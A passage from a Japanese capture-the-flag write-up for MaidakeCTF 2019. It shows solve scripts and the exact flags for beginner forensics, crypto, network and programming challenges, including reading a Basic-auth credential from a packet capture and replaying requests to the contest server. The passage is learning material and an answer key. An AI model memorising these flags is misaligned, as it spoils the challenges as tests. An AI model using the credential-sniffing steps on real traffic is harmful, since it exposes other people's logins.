M?IDAKEC?F?THE?AIRPO?TS?A???ASSIGNED?A?A?RPORT?C?DE?

利用している JSON にデータがない等の理由で数文字がわかりませんが、この程度なら (この CTF では恐らくフラグに leet が使われないこともあって) 容易に推測できそうです。

MaidakeCTF{The_airports_are_assigned_a_airport_code}

Picked up document (200)

大事そうな書類を拾いました。

添付ファイル: flag

以下のようなファイルが与えられました。

-----BEGIN CERTIFICATE REQUEST-----
MIIBuDCCASECAQAweDELMAkGA1UEBhMCSlAxEzARBgNVBAgMCk1haWRha2VDVEYx
DTALBgNVBAcMBDIwMTkxRTBDBgNVBAoMPE1haWRha2VDVEZ7QXJlX3lvdV91bmRl
cnN0YW5kaW5nX2hvd190aGVfY2VydGlmaWNhdGVfd29ya3M/fTCBnzANBgkqhkiG
9w0BAQEFAAOBjQAwgYkCgYEApPWQSdFx7yEusqRPwhleIgR4EveuMtir26LOrsZq
e4DBK2RQ3rA2UD+y5J6poao7K9VsDQEu9M+Isw2MNW657MBXamGtKhnauXzjME4l
bZLgCQI9Q//txkGkkfZN+P1i85SgilMgS0dHkw1FNL4t2zfu9L2bNZ7Vy1Kq5UVh
dPMCAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4GBAEIL/CvZNWQM1vEznQ9cHKLzMGLn
pDrznAUVshiQSwRUAbJN+vw9kDNES/Ozf0zu+dccKbaC39U+TA/bsXKhHSN8i9I8
ztbKtqvPhuKW2Epdu2MRqxCET8QXTpcq7DipMBkQbfrXybSur2bczBf05gh4BZ6y
zdgbOV1UHHYdLJPT
-----END CERTIFICATE REQUEST-----

CSR ファイルのようです。とりあえず Base64 デコードしてみましょう。

$ python2
>>> '''MIIBuDCCASECAQAweDELMAkGA1UEBhMCSlAxEzARBgNVBAgMCk1haWRha2VDVEYx
... DTALBgNVBAcMBDIwMTkxRTBDBgNVBAoMPE1haWRha2VDVEZ7QXJlX3lvdV91bmRl
... cnN0YW5kaW5nX2hvd190aGVfY2VydGlmaWNhdGVfd29ya3M/fTCBnzANBgkqhkiG
... 9w0BAQEFAAOBjQAwgYkCgYEApPWQSdFx7yEusqRPwhleIgR4EveuMtir26LOrsZq
... e4DBK2RQ3rA2UD+y5J6poao7K9VsDQEu9M+Isw2MNW657MBXamGtKhnauXzjME4l
... bZLgCQI9Q//txkGkkfZN+P1i85SgilMgS0dHkw1FNL4t2zfu9L2bNZ7Vy1Kq5UVh
... dPMCAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4GBAEIL/CvZNWQM1vEznQ9cHKLzMGLn
... pDrznAUVshiQSwRUAbJN+vw9kDNES/Ozf0zu+dccKbaC39U+TA/bsXKhHSN8i9I8
... ztbKtqvPhuKW2Epdu2MRqxCET8QXTpcq7DipMBkQbfrXybSur2bczBf05gh4BZ6y'''.decode('base64')
'0\x82\x01\xb80\x82\x01!\x02\x01\x000x1\x0b0\t\x06\x03U\x04\x06\x13\x02JP1\x130\x11\x06\x03U\x04\x08\x0c\nMaidakeCTF1\r0\x0b\x06\x03U\x04\x07\x0c\x0420191E0C\x06\x03U\x04\n\x0c<MaidakeCTF{Are_you_understanding_how_the_certificate_works?}0\x81\x9f0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xa4\xf5\x90I\xd1q\xef!.\xb2\xa4O\xc2\x19^"\x04x\x12\xf7\xae2\xd8\xab\xdb\xa2\xce\xae\xc6j{\x80\xc1+dP\xde\xb06P?\xb2\xe4\x9e\xa9\xa1\xaa;+\xd5l\r\x01.\xf4\xcf\x88\xb3\r\x8c5n\xb9\xec\xc0Wja\xad*\x19\xda\xb9|\xe30N%m\x92\xe0\t\x02=C\xff\xed\xc6A\xa4\x91\xf6M\xf8\xfdb\xf3\x94\xa0\x8aS KGG\x93\rE4\xbe-\xdb7\xee\xf4\xbd\x9b5\x9e\xd5\xcbR\xaa\xe5Eat\xf3\x02\x03\x01\x00\x01\xa0\x000\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x81\x81\x00B\x0b\xfc+\xd95d\x0c\xd6\xf13\x9d\x0f\\\x1c\xa2\xf30b\xe7\xa4:\xf3\x9c\x05\x15\xb2\x18\x90K\x04T\x01\xb2M\xfa\xfc=\x903DK\xf3\xb3\x7fL\xee\xf9\xd7\x1c)\xb6\x82\xdf\xd5>L\x0f\xdb\xb1r\xa1\x1d#|\x8b\xd2<\xce\xd6\xca\xb6\xab\xcf\x86\xe2\x96\xd8J]\xbbc\x11\xab\x10\x84O\xc4\x17N\x97*\xec8\xa90\x19\x10m\xfa\xd7\xc9\xb4\xae\xaff\xdc\xcc\x17\xf4\xe6\x08x\x05\x9e\xb2'

フラグが得られました。

MaidakeCTF{Are_you_understanding_how_the_certificate_works?}

Forensics

Unzip (100)

解凍できるかもしれません。

添付ファイル: flag.zip

flag.zip を展開しようとしたところ、パスワードが必要だと言われました。とりあえず、どのようなファイルが存在しているか zipinfo で確認しましょう。

$ zipinfo flag.zip
Archive:  flag.zip
Zip file size: 454 bytes, number of entries: 2
-rw-a--     2.0 fat       65 T- defN 19-Jul-21 15:23 flag/flag.txt
-rw-a--     2.0 fat        0 t- stor 19-Jul-21 15:18 flag/UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV
2 files, 65 bytes uncompressed, 64 bytes compressed:  1.5%

UGFzc3dvcmQgaXMgWXFna0dQdkJET0dnWiVxdEZMOFZlUEpmQkdmTTNSQ2djUDVVRiFjVlJCeG9zT0pPZXJV という謎のファイルがあります。Base64 デコードすると Password is YqgkGPvBDOGgZ%qtFL8VePJfBGfM3RCgcP5UF!cVRBxosOJOerU ということで、ZIP のパスワードがわかりました。

得られたパスワードを使うと flag.zip を展開することができました。

MaidakeCTF{We_can_tell_what_files_are_included_without_unpacking}

Meta (150)

この前、滝に行ってきました。

添付ファイル: problem.jpg

stringsproblem.jpg に含まれる文字列を探すとフラグが得られました。

$ strings -a problem.jpg | grep CTF
MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}
MaidakeCTF{The_sound_of_the_waterfall_heals_my_mind}

Magic (200)

拡張子は間違えていないはずなのに開けません。

添付ファイル: flag.pdf

PDF ファイルのはずですが、開くことができません。xxd でマジックナンバーがどうなっているか確認しましょう。

$ xxd flag.pdf | head  f"
0000000: 0000 0000 0000 0000 0d0a 25b5 b5b5 b50d  ..........%.....
0000010: 0a31 2030 206f 626a 0d0a 3c3c 2f54 7970  .1 0 obj..<</Typ
0000020: 652f 4361 7461 6c6f 672f 5061 6765 7320  e/Catalog/Pages
0000030: 3220 3020 522f 4c61 6e67 286a 612d 4a50  2 0 R/Lang(ja-JP
0000040: 2920 2f53 7472 7563 7454 7265 6552 6f6f  ) /StructTreeRoo
0000050: 7420 3130 2030 2052 2f4d 6172 6b49 6e66  t 10 0 R/MarkInf
0000060: 6f3c 3c2f 4d61 726b 6564 2074 7275 653e  o<</Marked true>
0000070: 3e2f 4d65 7461 6461 7461 2033 3120 3020  >/Metadata 31 0
0000080: 522f 5669 6577 6572 5072 6566 6572 656e  R/ViewerPreferen
0000090: 6365 7320 3332 2030 2052 3e3e 0d0a 656e  ces 32 0 R>>..en

マジックナンバーが消えています。先頭 8 バイトに 25 50 44 46 2D 31 2E 34 を入れると PDF を開くことができるようになり、フラグが得られました。

MaidakeCTF{Forging_a_magic_number_is_easy}

Stupid picture (200)

愚かなことをやってしまいました…

添付ファイル: problem.png

以下のように一見真っ白な画像が与えられました。

真っ白

stegsolve.jar でパレットをランダムな色にしてみると、以下のようにフラグが得られました。

MaidakeCTF{It_is_stupid_to_write_a_strings_in_white_on_a_white_background}

MaidakeCTF{It_is_stupid_to_write_a_strings_in_white_on_a_white_background}

Another image (300)

マリーゴールド…違うな、これは…!!

添付ファイル: marigold.png

マリーゴールドの写真が与えられました。binwalk で他のファイルが埋め込まれていないか確認しましょう。

$ binwalk marigold.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 1000 x 750, 8-bit/color RGBA, non-interlaced
256           0x100           Zlib compressed data, compressed
908893        0xDDE5D         JPEG image data, JFIF standard 1.01
908923        0xDDE7B         TIFF image data, big-endian, offset of first image directory: 8

JPEG が IEND チャンクの後ろにあるようです。抽出するとフラグが得られました。

MaidakeCTF{Marigold_is_cute}

Deleted (400)

間違って消してしまいました

添付ファイル: Deleted

Another image と同様に binwalk に投げてみましょう。

$ binwalk Deleted
︙
6221224       0x5EEDA8        End of Zip archive, footer length: 22
7990348       0x79EC4C        Zip archive data, at least v2.0 to extract, compressed size: 1030, uncompressed size: 1976, name: omake.txt
7991417       0x79F079        Zip archive data, at least v1.0 to extract, compressed size: 51200, uncompressed size: 51200, name: omori

binwalk -e Deleted で以下のような内容の omake.txt が抽出できました。

解いてくれてありがとう!
Thank You For Playing!

CyberChef
Recipe:To Base64

はじめまして、@uluvtuと申します!
簡単ですが、今回の問題の、作問するに当たって気をつけた部分とちょっとした解説を書かせていただきます。
(このファイルを何人見てくれるかわからないけど)
以下、気をつけた点

・ZIPファイルのマジックナンバーを消す
・できるだけ本来の趣旨であるTestDiskを使ってほしいので、ファイルが断片化するようにしてみる
  (EXT4の仕様を調べ尽くしたわけではないので、ちゃんと出来てるかはわからない)
・/dev/urandomとddを使って中身がランダムなファイルをたくさん生成してわかりづらくする

ぶっちゃけ、パーティションテーブル修復しなくてもオフセット指定してマウントでなんとかなっちゃうとこはあるけど

想定解としては、
TestDiskでGPTを修復→ファイル取り出し→マジックナンバー補完→解凍→フラグGET
みたいな感じです。
これ以外の解き方を思いついた方は、私に教えていただけると私が喜びます(`・ω・´)

ちなみに、このファイルを作った理由は、ZIPファイルの容量稼ぎだったりします(断片化させるため)

こんな感じですが、解いていただきありがとうございました。

「ZIPファイルのマジックナンバーを消」しているということなので、先頭数バイトが null バイト等になっている ZIP を探せばよさそうです。バイナリエディタで Deleted を開いて 00 00 03 04 14 03 00 00 を検索してみると 1 件見つかりました。これを抽出して展開してみましょう。

$ python2
>>> s = open('Deleted', 'rb').read()
>>> open('res.zip', 'wb').write(b'PK' + s[s.index(b'\0\0\3\4\x14\3\0\0')+2:])

7-Zip で res.zip を無理やり展開することができました。

MaidakeCTF{TestDisk_is_very_very_useful}

Hidden Flag (500)

Flagをある法則に従って隠しました。

添付ファイル: flag.png, table.png

table.png は以下のような画像でした。

table.png

このテーブルに従って、flag.png の各ピクセルから情報を抽出していきましょう。

from PIL import Image
# table[R][G][B]
table = [
  [],
  [' .?01', '23456', '789ab', 'cdefg', 'hijkl'],
  ['mnopq', 'rstuv', 'wxyzA', 'BCDEF', 'GHIJK'],
  ['LMNOP', 'QRSTU', 'VWXYZ', '[\\]^_', '`{|}!']
]

im = Image.open('flag.png')
pix = im.load()
w, h = im.size
res = ''

for y in range(h):
  for x in range(w):
    r, g, b, _ = pix[x, y]
    r %= 4
    g %= 5
    b %= 5

    if not(1 <= r <= 3 and 0 <= g <= 4 and 0 <= b <= 4):
      continue

    res += table[r][g][b]

print(res[:res.index('}')+1])
$ python solve.py
MaidakeCTF{We_can_hide_various_things_in_the_image}

フラグが得られました。

MaidakeCTF{We_can_hide_various_things_in_the_image}

Crypto

Is this a cipher (50)

Flagを暗号化しました。

添付ファイル: flag.txt

flag.txt は以下のような内容でした。

TWFpZGFrZUNURntiYXNlNjRfaXNfbm90X2FfY2lwaGVyfQ==

Base64 デコードするとフラグが得られました。

MaidakeCTF{base64_is_not_a_cipher}

Easy crypto (100)

なんだかアレっぽいですね。

添付ファイル: flag.txt

flag.txt は以下のような内容でした。

ZnvqnxrPGS{Pnrfne_rapelcgvba_vf_rnfl_gb_penpx}

なんだかシーザー暗号っぽいですね。ROT13 でフラグが得られました。

MaidakeCTF{Caesar_encryption_is_easy_to_crack}

Old input (200)

今時珍しい方法かもしれません。

添付ファイル: flag.txt

flag.txt は以下のような内容でした。

6↑2444325533222↑8↑333↑{444↑66788→8_2224427772→222833777→7777_666→66_333→3328→8877733_744666→66337777_4447777_87776668822555337777666→633}

数字と矢印は文字をエンコードしたもの、_{ のような文字はエンコードできずそのまま残されたものでしょう。同じ数字を複数回打つとアルファベットになるものといえば、トグル入力です。MaidakeCTF{…} というフラグフォーマットから考えると直前に入力した文字を大文字にするという意味で、 は、トグル入力では (アルファベットの範囲では) 最大で 4 回しか同じ数字が連続で出現しないことから、そこで現在の入力を確定するという意味であることが推測できます。

では、デコードするスクリプトを Python で書きましょう。

# coding: utf-8
import re

with open('flag.txt', 'rb') as f:
  s = f.read().decode('utf-8')

table = [
  '', '', 'abc', 'def', 'ghi', 'jkl', 'mno', 'pqrs', 'tuv', 'wxyz'
]

res = ''
for m in re.findall(r'([0-9])(\1*)(↑?)|(.)', s):
  if m[3] == '':
    x = m[0] + m[1]
    c = table[int(x[0])][len(x) - 1]
    res += c.upper() if m[2] == '↑' else c
  elif m[3] == '→':
    continue
  else:
    res += m[3]

print(res)
$ python solve.py
MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}

フラグが得られました。

MaidakeCTF{Input_characters_on_feature_phones_is_troublesome}

Do you know XOR (300)

うっかり秘密鍵を無くしてしまいました…

添付ファイル: problem.py, result.txt

problem.py は以下のような内容でした。

#import FLAG from FLAGS
#import SECRET_KEY from SECRET_KEYS

def encrypt(plane_text, secret_key):
    cipher_text = ""
    for pt, key in zip(plane_text, secret_key):
        cipher_num = ord(pt) ^ ord(key)
        cipher_text += format(cipher_num, '02x')
    return cipher_text

def padding(plane_text):
    pt_l = len(plane_text)
    if pt_l == 50:
        return plane_text
    else:
        plane_text += "%" * (50 - pt_l)
        return plane_text

def main():
    secret_key = SECRET_KEY
    plane_text = padding(FLAG)
    cipher_text = encrypt(plane_text, secret_key)
    with open("result.txt", 'a') as f:
        f.write("FLAG result: " + FLAG)

if __name__ == "__main__":
    main()

平文が 50 文字になるまで % で埋め、これと SECRET_KEY を XOR したものを出力する Python スクリプトのようです。

result.txt は以下のような内容でした。

FLAG result: 140e1c3b020a0b1c3f28142e3001370e311f1b3e1a0d3a2b0610152d160a000d1d1c072b1d0b16001c033c2a2a26224e405c

message: I_may_lose_my_secret_key_before_long.
message result: 1030183e1a3e0230180b301a262b1b003c020915310e3a0d3a1a1139181b1137031a1a385a4d407a5640465740517a4e405c

FLAG result はフラグを暗号化したもの、message result は同じ SECRET_KEYmessage を暗号化したものでしょう。messagemessage result を利用して SECRET_KEY を特定し、これを使って FLAG を復号しましょう。

$ python2
>>> from pwn import *
>>> m1 = '1030183e1a3e0230180b301a262b1b003c020915310e3a0d3a1a1139181b1137031a1a385a4d407a5640465740517a4e405c'.decode('hex')
>>> e1 = 'I_may_lose_my_secret_key_before_long.'.ljust(50, '%')
>>> e2 = '140e1c3b020a0b1c3f28142e3001370e311f1b3e1a0d3a2b0610152d160a000d1d1c072b1d0b16001c033c2a2a26224e405c'.decode('hex')
>>> secret_key = xor(m1, e1)
>>> print xor(e2, secret_key)
MaidakeCTF{You_know_the_characteristics_of_XOR}%%%
>>> 

フラグが得られました。

MaidakeCTF{You_know_the_characteristics_of_XOR}

Kancolle hash (300)

艦これには20個のサーバーがあります。

添付ファイル: problem.py, result.txt

problem.py は以下のような内容でした。

#coding: utf-8
import hashlib
from FLAG import FLAG

kancolle_server = ['横須賀鎮守府','呉鎮守府','佐世保鎮守府','舞鶴鎮守府','大湊警備府','トラック泊地','リンガ泊地','ラバウル基地','ショートランド泊地','ブイン基地','タウイタウイ泊地','パラオ泊地','ブルネイ泊地','単冠湾泊地','幌筵泊地','宿毛湾泊地','鹿屋基地','岩川基地','佐伯湾泊地','柱島泊地']
md5_server = [hashlib.md5(server.encode()).hexdigest() for server in kancolle_server]

key = 0
for md5 in md5_server:
	for moji in md5:
		key += ord(moji)

enc_flag = ''
for moji in FLAG:
	to_ord = key // ord(moji)
	enc_flag += chr(to_ord)

with open('result.txt', 'w') as f:
	f.write(enc_flag)

key が常に同じであることを利用して、デコードする Python スクリプトを書きましょう。

key = 44321
enc = [ord(c) for c in open('result.txt','rb').read().decode('utf-8')]
table = {}
for c in range(0x20, 0x7f):
  table[key // c] = c

print(table)

res = ''
for c in enc:
  res += chr(table[c])
  
print(res)
$ python solve.py
MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}

物騒なフラグが得られました。

MaidakeCTF{I_love_kancolle_and_I_will_die_when_its_gone}

Caesar’s Friends (400)

彼の素晴らしいスピーチが何者かに暗号化されてしまいました!

添付ファイル: problem.txt

problem.txt は以下のような内容でした。

#######################################
####                               ####
####    THIS FLAG IS ENCRYPTED     ####
####                               ####
#######################################

McstcpjCTF{Ssykzj_dgldfsfgfshy_wsvmjud_cuj_yhf_ajux_dfuhyk_ljwcgdj_fmjx_wcy_lj_vcudjt_lx_rujigjywx_cyczxdsd}

----------------------------------------------------------------

I co mhyhujt fh lj nsfm xhg fhtcx cf xhgu whoojywjojyf ruho hyj hr fmj rsyjdf gysajudsfsjd sy fmj nhuzt.
I yjaju kuctgcfjt ruho whzzjkj.
Tugfm lj fhzt, fmsd sd fmj wzhdjdf I’aj jaju khffjy fh c whzzjkj kuctgcfshy.
Thtcx I ncyf fh fjzz xhg fmujj dfhusjd ruho ox zsrj.
Tmcf’d sf.
Nh lsk tjcz.
Jgdf fmujj dfhusjd.

Tmj rsudf dfhux sd clhgf whyyjwfsyk fmj thfd.
︙

恐らく単一換字式暗号でしょうが、フラグが暗号化された部分の McstcpjCTF 等を見ると、置換されているのは小文字だけで大文字はそのままであることが推測できます。大文字を除いて quipqiup に投げると復号できました。

MaidakeCTF{Single_substitution_ciphers_are_not_very_strong_because_they_can_be_parsed_by_frequency_analysis}

SHA-1 collision (400)

違うのに同じ?同じなのに違う?

(URL)

与えられた URL にアクセスすると、以下のようにファイルをアップロードできるフォームが表示されました。

<section class="bs-docs-section clearfix">
		<div class="row">
			<div class="col-12">
				<form method="POST" enctype="multipart/form-data">
					<div class="w-100 text-center">
						<input type="file" name="file_1" class="py-2">
					</div>
					<div class="w-100 text-center mb-5">
						<input type="file" name="file_2" class="py-2">
					</div>
										<p class="text-center"><button type="submit" class="w-50 py-2 mt-5" name="compare">比較</button></p>
				</form>
			</div>
		</div>
	</section>

違う内容で同じ SHA-1 ハッシュになる 2 つのファイルをアップロードすればよいのでしょう。SHAttered から 2 つの PDF をダウンロードし、アップロードするとフラグが得られました。

MaidakeCTF{It_is_a_little_hard_to_create_a_file_where_SHA-1_collides}

Secret image (500)

秘密鍵手に入れちゃったけどどうしよう…

添付ファイル: problem.png, secret.txt

problem.png は以下のような画像でした。

Tux くん

AES や DES のようなブロック暗号の ECB モードで画像を暗号化したのでしょう。secret.txt には Secret key : this_a_secretkey と、この画像を暗号化するのに使われた鍵が書かれていました。

この PNG ファイルにはアルファチャンネルも含まれていますが、適当な画像編集ソフトで確認すると全てのピクセルの透明度が 255 であることがわかります。RGB だけを取り出して AES の ECB モードで復号しましょう。

import io
from Crypto.Cipher import AES
from PIL import Image

im1 = Image.open('problem.png').convert('RGB')

aes = AES.new(b'this_a_secretkey', AES.MODE_ECB)
decrypted = aes.decrypt(im1.tobytes())

im2 = Image.frombytes('RGB', im1.size, decrypted)
im2.save('result.png')
im2.show()

きれいになった Tux くん

フラグが得られました。

MaidakeCTF{AES-ECB_mode_is_Vulnerable}

Network

Weak communication (100)

丸見えです。

添付ファイル: problem.pcapng

Wireshark で problem.pcapng を開くと、以下のような HTTP 通信がありました。

GET /flag.html HTTP/1.1
Host: 192.168.10.117
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh;q=0.6
If-None-Match: "1d4-58e69aca8b0c0-gzip"
If-Modified-Since: Wed, 24 Jul 2019 09:10:03 GMT

HTTP/1.1 200 OK
Date: Wed, 24 Jul 2019 09:10:31 GMT
Server: Apache/2.4.25 (Raspbian)
Last-Modified: Wed, 24 Jul 2019 09:10:03 GMT
ETag: "1d4-58e69aca8b0c0-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 320
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Flag</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
</head>
<body>
MaidakeCTF{Wireshark_is_very_useful}
</body>
</html>

フラグが得られました。

MaidakeCTF{Wireshark_is_very_useful}

See-through Auth (200)

これはよくないですねぇ…
丸見えですよ。

添付ファイル: problem.pcapng

Wireshark で problem.pcapng を開くと、以下のような HTTP 通信がありました。

GET /problems/http/See-through_Auth/ HTTP/1.1
Host: maidakectf2019.aokakes.work
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh;q=0.6
Cookie: session=1bc8d77d-6c86-472a-8bb2-a125d888dc78; PHPSESSID=1n8jaeb6q2ekrj7vlg4l89fv47

HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 11 Sep 2019 07:39:01 GMT
Content-Type: text/html
Content-Length: 606
Connection: keep-alive
WWW-Authenticate: Basic realm="Please enter your ID and password"

<html>
<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
GET /problems/http/See-through_Auth/ HTTP/1.1
Host: maidakectf2019.aokakes.work
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic b2x1cmk6eFl3UXAyWkNxQmZNczJ1QmQ3WGhMNWNjamdKVDJGaHJxV0ZQdXg2eA==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-TW;q=0.7,zh;q=0.6
Cookie: session=1bc8d77d-6c86-472a-8bb2-a125d888dc78; PHPSESSID=1n8jaeb6q2ekrj7vlg4l89fv47

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 11 Sep 2019 07:39:06 GMT
Content-Type: text/html
Last-Modified: Wed, 11 Sep 2019 07:38:26 GMT
Transfer-Encoding: chunked
Connection: keep-alive
ETag: W/"5d78a472-17"
Content-Encoding: gzip

Please access to here.

https://maidakectf2019.aokakes.work/problems/http/See-through_Auth/ にアクセスすると、認証なしでフラグが得られました。

MaidakeCTF{Basic_authentication_is_easy_to_implement_but_there_are_various_problems}

From oluri (300)

オオルリさんから皆さんへのメッセージを頂いたのですが、保存し忘れてしまいました。

ログはこちらにあるのですが…

添付ファイル: problem.pcapng

Wireshark で problem.pcapng を開いて pcap に変換し、NetworkMiner に投げると voice.wav.x-wav という WAVE ファイルが抽出できました。適当なプレイヤーで再生すると、フラグが 1 文字ずつ読み上げられました。

MaidakeCTF{Wireshark_can_export_files_exchanged_during_communication}

Image? (400)

これがどんな画像かわかりますか?

添付ファイル: problem.png

problem.png は以下のような内容でした。

problem.png

file でどのような PNG ファイルか確認しましょう。

$ file problem.png
problem.png: PNG image data, 256 x 5, 8-bit grayscale, non-interlaced

8 ビットのグレースケールの PNG のようです。バイト列にしましょう。

from PIL import Image
im = Image.open('problem.png')
with open('res.bin', 'wb') as f:
  f.write(im.tobytes())
$ python extract.py
$ file res.bin
res.bin: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)

どうやらパケットをキャプチャしたファイルを画像化したもののようです。Wireshark に投げると、以下のような HTTP 通信が確認できました。

GET /flag.php HTTP/1.1
Host: ctf.server-boujin.net
Connection: Keep-Alive
Accept-Encoding: gzip
CF-IPCountry: JP
X-Forwarded-For: 0.0.0.0
CF-RAY: 514198f85a84d9fc-SIN
X-Forwarded-Proto: http
CF-Visitor: {"scheme":"http"}
User-Agent: curl/7.58.0
Accept: */*
X-My-Will: I_want_th3_f1ag_!
CF-Connecting-IP: 0.0.0.0
CDN-Loop: cloudflare

HTTP/1.1 200 OK
Server: nginx/1.17.0
Date: Tue, 10 Sep 2019 13:02:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.6

62
Congrats !     The flag is : MaidakeCTF{hogehogehogehogehogehogehogehogehogehoge}
0

curl でこの通信を再現するとフラグが得られました。

$ curl http://ctf.server-boujin.net/flag.php -A "curl/7.58.0" -H "X-My-Will: I_want_th3_f1ag_!"
Congrats !     The flag is : MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}
MaidakeCTF{Can_U_Und3rstand_th3_Image_of_Binari3s_?}

Programming

Only reserved words (150)

ちょっとこれだと読めませんね。なんとかしてください。

添付ファイル: flag.pl

flag.pl は以下のような内容でした。

#!/usr/bin/perl -w
oct oct hex ord q pop and print chr ord uc q rmdir and print chr ord q each ne and print chr ord q sin s and print chr ord qw q die q and print chr ord q each le and print chr ord q mkdir m and print chr ord q ne sin and print chr ord uc q lc eval and print chr ord uc q gt log and print chr ord uc qw q for q and print chr length q q write getc exp split uc closedir while msgctl lcfirst delete fileno chop while sysread send rmdir or dump accept last sin q and print chr ord q split s and print chr ord q open do and print chr ord q ref or and print chr ord qw q not q and print chr ord q lc eval and print chr ord q local and print chr ord qw q die q and print chr ord q ge log and print chr oct hex ord uc q my m and print chr ord q lc eval and print chr ord q xor x and print chr ord qw q not q and print chr ord q msgctl m and print chr ord q tie gt and print chr ord qw q sin q and print chr ord q gt log and print chr ord qw q s q and print chr oct hex ord uc qw q y q and print chr ord q xor x and print chr ord qw q not q and print chr ord qw q lc q and print chr ord q my alarm and print chr oct hex ord uc qw q y q and print chr ord q local and print chr ord qw q fcntl q and print chr oct hex ord uc qw q y q and print chr ord q open no and print chr ord q ne sin and print chr ord q qr eq and print chr ord qw q le q and print chr oct hex ord uc q my m and print chr ord q or no and print chr ord q ref or and print chr ord q msgctl m and print chr ord q ne sin and print chr ord q or no and print chr ord q eval ne and print chr ord q ge log and print chr ord qw q dump q and print chr oct hex ord uc q my m and print chr ord q qw eq and print chr ord q local and print chr ord q or no and print chr ord qw q do q and print chr ord qw q sin q and print chr oct oct hex ord q ge log 

pl という拡張子と shebang から Perl のコードであると分かります。実行してみましょう。

$ perl flag.pl
llegal octal digit '8' ignored at flag.pl line 2.
MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}

フラグが得られました。

MaidakeCTF{ppencode_consists_only_of_perl_reserved_words}

Calculator (200)

自分でやるか、やらないかの2択です。

nc (省略)

与えられた接続情報を使って問題サーバに接続してみましょう。

$ nc (省略)
Please calculate (All 50 problems).

77 + 98
>>175

44 + 99
>>

50 問計算すればよいようです。Python で自動化しましょう。

from pwn import *
s = remote('localhost', 15410)
s.readline()
for _ in range(50):
  s.readline()
  t = s.readline()
  s.readuntil('>>')
  s.sendline(str(eval(t)))
  print t, eval(t)
s.interactive()
$ python2 solve.py
︙
86 - 51
35
65 + 85
150
2 - 94
-92
76 + 57
133
56 + 0
56
10 - 8
2
[*] Switching to interactive mode


Congratulations!
The Flag is MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}
[*] Got EOF while reading in interactive

フラグが得られました。

MaidakeCTF{It_is_also_possible_to_calculate_it_by_yourself}

Not ending (200)

これでFlagが作れると思ったら全然処理が終わりません。なぜでしょうか。

添付ファイル: problem.py

problem.py は以下のような内容でした。

import sys

sys.setrecursionlimit(100000)
def fib(n):
	if n <= 1:
		return n
	return fib(n-1) + fib(n-2)

in_flag = str(fib(8192))[:40]
print ("MaidakeCTF{"+in_flag+"}")

8192 番目のフィボナッチ数を求めればよいようです。再帰のままでは大変時間がかかりそうなので、ループで書き直しましょう。

def fib(n):
  a, b = 0, 1
  for _ in range(n):
    a, b = b, a + b
  return a

in_flag = str(fib(8192))[:40]
print ("MaidakeCTF{"+in_flag+"}")
$ python solve.py
MaidakeCTF{4756241803154148324967643192669456886214}

フラグが得られました。

MaidakeCTF{4756241803154148324967643192669456886214}

Not output (200)

Flagは確かにそこにある。

(URL)

与えられた URL にアクセスすると、以下のような HTML が返ってきました。

